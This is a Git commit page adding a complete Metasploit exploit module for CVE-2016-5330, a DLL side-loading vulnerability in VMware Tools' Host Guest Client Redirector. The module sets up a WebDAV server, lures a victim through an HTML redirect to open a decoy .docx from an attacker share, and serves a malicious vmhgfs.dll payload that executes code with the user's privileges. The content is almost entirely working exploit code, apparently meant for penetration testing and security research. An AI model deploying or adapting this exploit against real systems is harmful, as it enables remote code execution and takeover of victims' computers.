Browse Source

Land #7185, Add VMware Host Guest Client Redirector DLL Hijack Exploit

wchen-r7 3 years ago
parent
commit
3d1289dac3
No account linked to committer's email address
1 changed files with 346 additions and 0 deletions
  1. 346
    0
      modules/exploits/windows/misc/vmhgfs_webdav_dll_sideload.rb

+ 346
- 0
modules/exploits/windows/misc/vmhgfs_webdav_dll_sideload.rb View File

@@ -0,0 +1,346 @@
1
+require 'msf/core'
2
+
3
+class MetasploitModule < Msf::Exploit::Remote
4
+  Rank = NormalRanking
5
+
6
+  include Msf::Exploit::Remote::HttpServer::HTML
7
+  include Msf::Exploit::EXE
8
+
9
+  def initialize(info = {})
10
+    super(update_info(info,
11
+      'Name'           => 'DLL Side Loading Vulnerability in VMware Host Guest Client Redirector',
12
+      'Description'    => %q{
13
+      A DLL side loading vulnerability was found in the VMware Host Guest Client Redirector,
14
+      a component of VMware Tools. This issue can be exploited by luring a victim into
15
+      opening a document from the attacker's share. An attacker can exploit this issue to
16
+      execute arbitrary code with the privileges of the target user. This can potentially
17
+      result in the attacker taking complete control of the affected system. If the WebDAV
18
+      Mini-Redirector is enabled, it is possible to exploit this issue over the internet.
19
+      },
20
+      'Author'         => 'Yorick Koster',
21
+      'License'        => MSF_LICENSE,
22
+      'References'     =>
23
+        [
24
+          ['CVE', '2016-5330'],
25
+          ['URL', 'https://securify.nl/advisory/SFY20151201/dll_side_loading_vulnerability_in_vmware_host_guest_client_redirector.html'],
26
+          ['URL', 'http://www.vmware.com/in/security/advisories/VMSA-2016-0010.html'],
27
+        ],
28
+      'DefaultOptions' =>
29
+        {
30
+          'EXITFUNC' => 'thread'
31
+        },
32
+      'Payload'        => { 'Space' => 2048, },
33
+      'Platform'       => 'win',
34
+      'Targets'        =>
35
+        [
36
+          [ 'Windows x64', {'Arch' => ARCH_X86_64,} ],
37
+          [ 'Windows x86', {'Arch' => ARCH_X86,} ]
38
+        ],
39
+      'Privileged'     => false,
40
+      'DisclosureDate' => 'Aug 5 2016',
41
+      'DefaultTarget'  => 0))
42
+
43
+    register_options(
44
+      [
45
+        OptPort.new('SRVPORT',     [ true, "The daemon port to listen on (do not change)", 80 ]),
46
+        OptString.new('URIPATH',   [ true, "The URI to use (do not change)", "/" ]),
47
+        OptString.new('BASENAME',  [ true, "The base name for the docx file", "Document1" ]),
48
+        OptString.new('SHARENAME', [ true, "The name of the top-level share", "documents" ])
49
+      ], self.class)
50
+
51
+    # no SSL
52
+    deregister_options('SSL', 'SSLVersion', 'SSLCert')
53
+  end
54
+
55
+
56
+  def on_request_uri(cli, request)
57
+    case request.method
58
+    when 'OPTIONS'
59
+      process_options(cli, request)
60
+    when 'PROPFIND'
61
+      process_propfind(cli, request)
62
+    when 'GET'
63
+      process_get(cli, request)
64
+    else
65
+      print_status("#{request.method} => 404 (#{request.uri})")
66
+      resp = create_response(404, "Not Found")
67
+      resp.body = ""
68
+      resp['Content-Type'] = 'text/html'
69
+      cli.send_response(resp)
70
+    end
71
+  end
72
+
73
+
74
+  def process_get(cli, request)
75
+    myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
76
+    webdav = "\\\\#{myhost}\\"
77
+
78
+    if (request.uri =~ /vmhgfs\.dll$/i)
79
+      print_status("GET => DLL Payload (#{request.uri})")
80
+      return if ((p = regenerate_payload(cli)) == nil)
81
+      data = generate_payload_dll({ :arch => target['Arch'], :code => p.encoded })
82
+      send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
83
+      return
84
+    end
85
+
86
+    if (request.uri =~ /\.docx$/i)
87
+      print_status("GET => DOCX (#{request.uri})")
88
+      send_response(cli, "", { 'Content-Type' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document' })
89
+      return
90
+    end
91
+
92
+    if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i)
93
+      print_status("GET => REDIRECT (#{request.uri})")
94
+      resp = create_response(200, "OK")
95
+      resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=file:\\\\#{@exploit_unc}#{datastore['SHARENAME']}\\#{datastore['BASENAME']}.docx"></head><body></body></html>|
96
+      resp['Content-Type'] = 'text/html'
97
+      cli.send_response(resp)
98
+      return
99
+    end
100
+
101
+    print_status("GET => 404 (#{request.uri})")
102
+    resp = create_response(404, "Not Found")
103
+    resp.body = ""
104
+    cli.send_response(resp)
105
+  end
106
+
107
+  #
108
+  # OPTIONS requests sent by the WebDav Mini-Redirector
109
+  #
110
+  def process_options(cli, request)
111
+    print_status("OPTIONS #{request.uri}")
112
+    headers = {
113
+      'MS-Author-Via' => 'DAV',
114
+      'DASL'          => '<DAV:sql>',
115
+      'DAV'           => '1, 2',
116
+      'Allow'         => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
117
+      'Public'        => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
118
+      'Cache-Control' => 'private'
119
+    }
120
+    resp = create_response(207, "Multi-Status")
121
+    headers.each_pair {|k,v| resp[k] = v }
122
+    resp.body = ""
123
+    resp['Content-Type'] = 'text/xml'
124
+    cli.send_response(resp)
125
+  end
126
+
127
+  #
128
+  # PROPFIND requests sent by the WebDav Mini-Redirector
129
+  #
130
+  def process_propfind(cli, request)
131
+    path = request.uri
132
+    print_status("PROPFIND #{path}")
133
+    body = ''
134
+
135
+    my_host   = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
136
+    my_uri    = "http://#{my_host}/"
137
+
138
+    if path !~ /\/$/
139
+
140
+      if blacklisted_path?(path)
141
+        print_status "PROPFIND => 404 (#{path})"
142
+        resp = create_response(404, "Not Found")
143
+        resp.body = ""
144
+        cli.send_response(resp)
145
+        return
146
+      end
147
+
148
+      if path.index(".")
149
+        print_status "PROPFIND => 207 File (#{path})"
150
+        body = %Q|<?xml version="1.0" encoding="utf-8"?>
151
+<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
152
+<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
153
+<D:href>#{path}</D:href>
154
+<D:propstat>
155
+<D:prop>
156
+<lp1:resourcetype/>
157
+<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
158
+<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
159
+<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
160
+<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
161
+<lp2:executable>T</lp2:executable>
162
+<D:supportedlock>
163
+<D:lockentry>
164
+<D:lockscope><D:exclusive/></D:lockscope>
165
+<D:locktype><D:write/></D:locktype>
166
+</D:lockentry>
167
+<D:lockentry>
168
+<D:lockscope><D:shared/></D:lockscope>
169
+<D:locktype><D:write/></D:locktype>
170
+</D:lockentry>
171
+</D:supportedlock>
172
+<D:lockdiscovery/>
173
+<D:getcontenttype>application/octet-stream</D:getcontenttype>
174
+</D:prop>
175
+<D:status>HTTP/1.1 200 OK</D:status>
176
+</D:propstat>
177
+</D:response>
178
+</D:multistatus>
179
+|
180
+        # send the response
181
+        resp = create_response(207, "Multi-Status")
182
+        resp.body = body
183
+        resp['Content-Type'] = 'text/xml; charset="utf8"'
184
+        cli.send_response(resp)
185
+        return
186
+      else
187
+        print_status "PROPFIND => 301 (#{path})"
188
+        resp = create_response(301, "Moved")
189
+        resp["Location"] = path + "/"
190
+        resp['Content-Type'] = 'text/html'
191
+        cli.send_response(resp)
192
+        return
193
+      end
194
+    end
195
+
196
+    print_status "PROPFIND => 207 Directory (#{path})"
197
+    body = %Q|<?xml version="1.0" encoding="utf-8"?>
198
+<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
199
+<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
200
+<D:href>#{path}</D:href>
201
+<D:propstat>
202
+<D:prop>
203
+<lp1:resourcetype><D:collection/></lp1:resourcetype>
204
+<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
205
+<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
206
+<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
207
+<D:supportedlock>
208
+<D:lockentry>
209
+<D:lockscope><D:exclusive/></D:lockscope>
210
+<D:locktype><D:write/></D:locktype>
211
+</D:lockentry>
212
+<D:lockentry>
213
+<D:lockscope><D:shared/></D:lockscope>
214
+<D:locktype><D:write/></D:locktype>
215
+</D:lockentry>
216
+</D:supportedlock>
217
+<D:lockdiscovery/>
218
+<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
219
+</D:prop>
220
+<D:status>HTTP/1.1 200 OK</D:status>
221
+</D:propstat>
222
+</D:response>
223
+|
224
+
225
+    if request["Depth"].to_i > 0
226
+      trail = path.split("/")
227
+      trail.shift
228
+      case trail.length
229
+      when 0
230
+        body << generate_shares(path)
231
+      when 1
232
+        body << generate_files(path)
233
+      end
234
+    else
235
+      print_status "PROPFIND => 207 Top-Level Directory"
236
+    end
237
+
238
+    body << "</D:multistatus>"
239
+
240
+    body.gsub!(/\t/, '')
241
+
242
+    # send the response
243
+    resp = create_response(207, "Multi-Status")
244
+    resp.body = body
245
+    resp['Content-Type'] = 'text/xml; charset="utf8"'
246
+    cli.send_response(resp)
247
+  end
248
+
249
+  def generate_shares(path)
250
+    share_name = datastore['SHARENAME']
251
+%Q|
252
+<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
253
+<D:href>#{path}#{share_name}/</D:href>
254
+<D:propstat>
255
+<D:prop>
256
+<lp1:resourcetype><D:collection/></lp1:resourcetype>
257
+<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
258
+<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
259
+<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
260
+<D:supportedlock>
261
+<D:lockentry>
262
+<D:lockscope><D:exclusive/></D:lockscope>
263
+<D:locktype><D:write/></D:locktype>
264
+</D:lockentry>
265
+<D:lockentry>
266
+<D:lockscope><D:shared/></D:lockscope>
267
+<D:locktype><D:write/></D:locktype>
268
+</D:lockentry>
269
+</D:supportedlock>
270
+<D:lockdiscovery/>
271
+<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
272
+</D:prop>
273
+<D:status>HTTP/1.1 200 OK</D:status>
274
+</D:propstat>
275
+</D:response>
276
+|
277
+  end
278
+
279
+  def generate_files(path)
280
+    trail = path.split("/")
281
+    return "" if trail.length < 2
282
+
283
+    %Q|
284
+<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
285
+<D:href>#{path}#{datastore['BASENAME']}.docx</D:href>
286
+<D:propstat>
287
+<D:prop>
288
+<lp1:resourcetype/>
289
+<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
290
+<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>
291
+<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
292
+<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
293
+<lp2:executable>T</lp2:executable>
294
+<D:supportedlock>
295
+<D:lockentry>
296
+<D:lockscope><D:exclusive/></D:lockscope>
297
+<D:locktype><D:write/></D:locktype>
298
+</D:lockentry>
299
+<D:lockentry>
300
+<D:lockscope><D:shared/></D:lockscope>
301
+<D:locktype><D:write/></D:locktype>
302
+</D:lockentry>
303
+</D:supportedlock>
304
+<D:lockdiscovery/>
305
+<D:getcontenttype>application/octet-stream</D:getcontenttype>
306
+</D:prop>
307
+<D:status>HTTP/1.1 200 OK</D:status>
308
+</D:propstat>
309
+</D:response>
310
+|
311
+  end
312
+
313
+  def gen_timestamp(ttype=nil)
314
+    ::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
315
+  end
316
+
317
+  def gen_datestamp(ttype=nil)
318
+    ::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
319
+  end
320
+
321
+  # This method rejects requests that are known to break exploitation
322
+  def blacklisted_path?(uri)
323
+    return true if uri =~ /\.exe/i
324
+    return true if uri =~ /\.(config|manifest)/i
325
+    return true if uri =~ /desktop\.ini/i
326
+    return true if uri =~ /lib.*\.dll/i
327
+    return true if uri =~ /\.tmp$/i
328
+    return true if uri =~ /(pcap|packet)\.dll/i
329
+    false
330
+  end
331
+
332
+  def exploit
333
+
334
+    myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
335
+
336
+    @exploit_unc  = "\\\\#{myhost}\\"
337
+
338
+    if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
339
+      fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
340
+    end
341
+
342
+    print_status("Files are available at #{@exploit_unc}#{datastore['SHARENAME']}")
343
+
344
+    super
345
+  end
346
+end

Loading…
Cancel
Save